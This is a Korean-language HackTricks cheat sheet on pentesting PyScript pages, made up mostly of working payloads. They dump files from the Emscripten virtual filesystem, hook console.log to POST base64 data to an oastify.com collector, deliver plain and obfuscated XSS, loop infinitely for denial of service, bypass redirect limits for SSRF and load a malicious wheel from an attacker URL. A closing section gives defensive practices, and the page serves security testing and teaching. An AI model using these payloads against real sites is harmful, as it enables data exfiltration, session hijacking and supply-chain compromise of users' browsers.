Pyscript

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

PyScript νŽœν…ŒμŠ€νŒ… κ°€μ΄λ“œ

PyScriptλŠ” HTML에 Python을 ν†΅ν•©ν•˜κΈ° μœ„ν•΄ 개발된 μƒˆλ‘œμš΄ ν”„λ ˆμž„μ›Œν¬λ‘œ, HTMLκ³Ό ν•¨κ»˜ μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이 치트 μ‹œνŠΈμ—μ„œλŠ” νŽœν…ŒμŠ€νŒ… λͺ©μ μœΌλ‘œ PyScriptλ₯Ό μ‚¬μš©ν•˜λŠ” 방법을 찾을 수 μžˆμŠ΅λ‹ˆλ‹€.

Emscripten 가상 λ©”λͺ¨λ¦¬ 파일 μ‹œμŠ€ν…œμ—μ„œ 파일 덀프 / κ²€μƒ‰ν•˜κΈ°:

CVE ID: CVE-2022-30286

μ½”λ“œ:

<py-script>
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out
= fin.read() print(out)
</py-script>

Emscripten 가상 λ©”λͺ¨λ¦¬ 파일 μ‹œμŠ€ν…œμ˜ OOB 데이터 유좜 (μ½˜μ†” λͺ¨λ‹ˆν„°λ§)

CVE ID: CVE-2022-30286

Code:

<py-script>
x = "CyberGuy" if x == "CyberGuy": with
open('/lib/python3.10/asyncio/tasks.py') as output: contents = output.read()
print(contents) print('
<script>
console.pylog = console.log
console.logs = []
console.log = function () {
console.logs.push(Array.from(arguments))
console.pylog.apply(console, arguments)
fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {
method: "POST",
headers: { "Content-Type": "text/plain;charset=utf-8" },
body: JSON.stringify({ content: btoa(console.logs) }),
})
}
</script>
')
</py-script>

크둜슀 μ‚¬μ΄νŠΈ μŠ€ν¬λ¦½νŒ… (일반)

Code:

<py-script>
print("<img src=x onerror='alert(document.domain)'>")
</py-script>

크둜슀 μ‚¬μ΄νŠΈ μŠ€ν¬λ¦½νŒ… (Python λ‚œλ…ν™”)

Code:

<py-script>
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"

print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
</py-script>

크둜슀 μ‚¬μ΄νŠΈ μŠ€ν¬λ¦½νŒ… (JavaScript λ‚œλ…ν™”)

Code:

<py-script>
prinht(""
<script>
var _0x3675bf = _0x5cf5
function _0x5cf5(_0xced4e9, _0x1ae724) {
var _0x599cad = _0x599c()
return (
(_0x5cf5 = function (_0x5cf5d2, _0x6f919d) {
_0x5cf5d2 = _0x5cf5d2 - 0x94
var _0x14caa7 = _0x599cad[_0x5cf5d2]
return _0x14caa7
}),
_0x5cf5(_0xced4e9, _0x1ae724)
)
}
;(function (_0x5ad362, _0x98a567) {
var _0x459bc5 = _0x5cf5,
_0x454121 = _0x5ad362()
while (!![]) {
try {
var _0x168170 =
(-parseInt(_0x459bc5(0x9e)) / 0x1) *
(parseInt(_0x459bc5(0x95)) / 0x2) +
(parseInt(_0x459bc5(0x97)) / 0x3) *
(-parseInt(_0x459bc5(0x9c)) / 0x4) +
-parseInt(_0x459bc5(0x99)) / 0x5 +
(-parseInt(_0x459bc5(0x9f)) / 0x6) *
(parseInt(_0x459bc5(0x9d)) / 0x7) +
(-parseInt(_0x459bc5(0x9b)) / 0x8) *
(-parseInt(_0x459bc5(0x9a)) / 0x9) +
-parseInt(_0x459bc5(0x94)) / 0xa +
(parseInt(_0x459bc5(0x98)) / 0xb) *
(parseInt(_0x459bc5(0x96)) / 0xc)
if (_0x168170 === _0x98a567) break
else _0x454121["push"](_0x454121["shift"]())
} catch (_0x5baa73) {
_0x454121["push"](_0x454121["shift"]())
}
}
})(_0x599c, 0x28895),
prompt(document[_0x3675bf(0xa0)])
function _0x599c() {
var _0x34a15f = [
"15170376Sgmhnu",
"589203pPKatg",
"11BaafMZ",
"445905MAsUXq",
"432bhVZQo",
"14792bfmdlY",
"4FKyEje",
"92890jvCozd",
"36031bizdfX",
"114QrRNWp",
"domain",
"3249220MUVofX",
"18cpppdr",
]
_0x599c = function () {
return _0x34a15f
}
return _0x599c()
}
</script>
"")
</py-script>

DoS 곡격 (λ¬΄ν•œ 루프)

μ½”λ“œ:

<py-script>
while True:
print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;")
</py-script>


μƒˆλ‘œμš΄ 취약점 및 기술 (2023-2025)

μ œμ–΄λ˜μ§€ μ•ŠλŠ” λ¦¬λ””λ ‰μ…˜μ„ ν†΅ν•œ μ„œλ²„ μΈ‘ μš”μ²­ μœ„μ‘° (CVE-2025-50182)

urllib3 < 2.5.0은 PyScript와 ν•¨κ»˜ μ œκ³΅λ˜λŠ” Pyodide λŸ°νƒ€μž„ λ‚΄μ—μ„œ 싀행될 λ•Œ redirect 및 retries λ§€κ°œλ³€μˆ˜λ₯Ό λ¬΄μ‹œν•©λ‹ˆλ‹€. κ³΅κ²©μžκ°€ λŒ€μƒ URL에 영ν–₯을 λ―ΈμΉ  수 μžˆλŠ” 경우, κ°œλ°œμžκ°€ λͺ…μ‹œμ μœΌλ‘œ λΉ„ν™œμ„±ν™”ν–ˆμŒμ—λ„ λΆˆκ΅¬ν•˜κ³  Python μ½”λ“œκ°€ ꡐ차 도메인 λ¦¬λ””λ ‰μ…˜μ„ λ”°λ₯΄λ„둝 κ°•μ œν•  수 μžˆμŠ΅λ‹ˆλ‹€ ‑ 사싀상 anti-SSRF λ‘œμ§μ„ μš°νšŒν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€.

<script type="py">
import urllib3
http = urllib3.PoolManager(retries=False, redirect=False)  # supposed to block redirects
r = http.request("GET", "https://evil.example/302")      # will STILL follow the 302
print(r.status, r.url)
</script>

urllib3 2.5.0μ—μ„œ 패치됨 – PyScript μ΄λ―Έμ§€μ—μ„œ νŒ¨ν‚€μ§€λ₯Ό μ—…κ·Έλ ˆμ΄λ“œν•˜κ±°λ‚˜ packages = ["urllib3>=2.5.0"]μ—μ„œ μ•ˆμ „ν•œ 버전을 κ³ μ •ν•˜μ„Έμš”. μžμ„Έν•œ λ‚΄μš©μ€ 곡식 CVE ν•­λͺ©μ„ μ°Έμ‘°ν•˜μ„Έμš”.

μž„μ˜ νŒ¨ν‚€μ§€ λ‘œλ”© 및 곡급망 곡격

PyScriptλŠ” packages λͺ©λ‘μ— μž„μ˜μ˜ URL을 ν—ˆμš©ν•˜λ―€λ‘œ, ꡬ성을 μˆ˜μ •ν•˜κ±°λ‚˜ μ£Όμž…ν•  수 μžˆλŠ” μ•…μ˜μ μΈ ν–‰μœ„μžλŠ” ν”Όν•΄μžμ˜ λΈŒλΌμš°μ €μ—μ„œ μ™„μ „νžˆ μž„μ˜μ˜ Python을 μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

<py-config>
packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"]
</py-config>
<script type="py">
import payload  # executes attacker-controlled code during installation
</script>

였직 순수-Python 휠만 ν•„μš”ν•˜λ©°, WebAssembly 컴파일 λ‹¨κ³„λŠ” ν•„μš”ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. ꡬ성은 μ‚¬μš©μž μ œμ–΄κ°€ μ•„λ‹ˆμ–΄μ•Ό ν•˜λ©°, HTTPS 및 SRI ν•΄μ‹œμ™€ ν•¨κ»˜ μ‹ λ’°ν•  수 μžˆλŠ” νœ μ„ μžμ‹ μ˜ 도메인에 ν˜ΈμŠ€νŒ…ν•΄μ•Ό ν•©λ‹ˆλ‹€.

좜λ ₯ μ •ν™” λ³€κ²½ 사항 (2023+)

  • print()λŠ” μ—¬μ „νžˆ μ›μ‹œ HTML을 μ£Όμž…ν•˜λ―€λ‘œ XSS에 μ·¨μ•½ν•©λ‹ˆλ‹€ (μœ„μ˜ μ˜ˆμ‹œ μ°Έμ‘°).
  • μƒˆλ‘œμš΄ display() λ„μš°λ―ΈλŠ” 기본적으둜 HTML을 μ΄μŠ€μΌ€μ΄ν”„ν•©λ‹ˆλ‹€ – μ›μ‹œ λ§ˆν¬μ—…μ€ pyscript.HTML()둜 감싸야 ν•©λ‹ˆλ‹€.
from pyscript import display, HTML

display("<b>escaped</b>")          # renders literally

display(HTML("<b>not-escaped</b>")) # executes as HTML -> potential XSS if untrusted

이 λ™μž‘μ€ 2023년에 λ„μž…λ˜μ—ˆμœΌλ©° 곡식 Built-ins κ°€μ΄λ“œμ— λ¬Έμ„œν™”λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. μ‹ λ’°ν•  수 μ—†λŠ” μž…λ ₯에 λŒ€ν•΄μ„œλŠ” display()λ₯Ό μ‚¬μš©ν•˜κ³  print()λ₯Ό 직접 ν˜ΈμΆœν•˜λŠ” 것을 ν”Όν•˜μ‹­μ‹œμ˜€.


방어적 λͺ¨λ²” 사둀

  • νŒ¨ν‚€μ§€λ₯Ό μ΅œμ‹  μƒνƒœλ‘œ μœ μ§€ – urllib3 >= 2.5.0으둜 μ—…κ·Έλ ˆμ΄λ“œν•˜κ³  μ‚¬μ΄νŠΈμ™€ ν•¨κ»˜ μ œκ³΅λ˜λŠ” νœ μ„ μ •κΈ°μ μœΌλ‘œ μž¬κ΅¬μΆ•ν•˜μ‹­μ‹œμ˜€.
  • νŒ¨ν‚€μ§€ 좜처 μ œν•œ – PyPI μ΄λ¦„μ΄λ‚˜ 동일 좜처 URL만 μ°Έμ‘°ν•˜κ³ , μ΄μƒμ μœΌλ‘œλŠ” Sub-resource Integrity (SRI)둜 λ³΄ν˜Έν•˜μ‹­μ‹œμ˜€.
  • μ½˜ν…μΈ  λ³΄μ•ˆ μ •μ±… κ°•ν™” – 인라인 JavaScript(script-src 'self' 'sha256-…')λ₯Ό ν—ˆμš©ν•˜μ§€ μ•Šμ•„ μ£Όμž…λœ <script> 블둝이 μ‹€ν–‰λ˜μ§€ μ•Šλ„λ‘ ν•©λ‹ˆλ‹€.
  • μ‚¬μš©μž 제곡 <py-script> / <script type="py"> νƒœκ·Έ κΈˆμ§€ – λ‹€λ₯Έ μ‚¬μš©μžμ—κ²Œ λ‹€μ‹œ μ—μ½”ν•˜κΈ° 전에 μ„œλ²„μ—μ„œ HTML을 μ •ν™”ν•˜μ‹­μ‹œμ˜€.
  • μž‘μ—…μž 격리 – μž‘μ—…μžμ—μ„œ DOM에 λŒ€ν•œ 동기식 접근이 ν•„μš”ν•˜μ§€ μ•Šμ€ 경우, sync_main_only ν”Œλž˜κ·Έλ₯Ό ν™œμ„±ν™”ν•˜μ—¬ SharedArrayBuffer 헀더 μš”κ΅¬ 사항을 ν”Όν•˜μ‹­μ‹œμ˜€.

μ°Έμ‘°

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°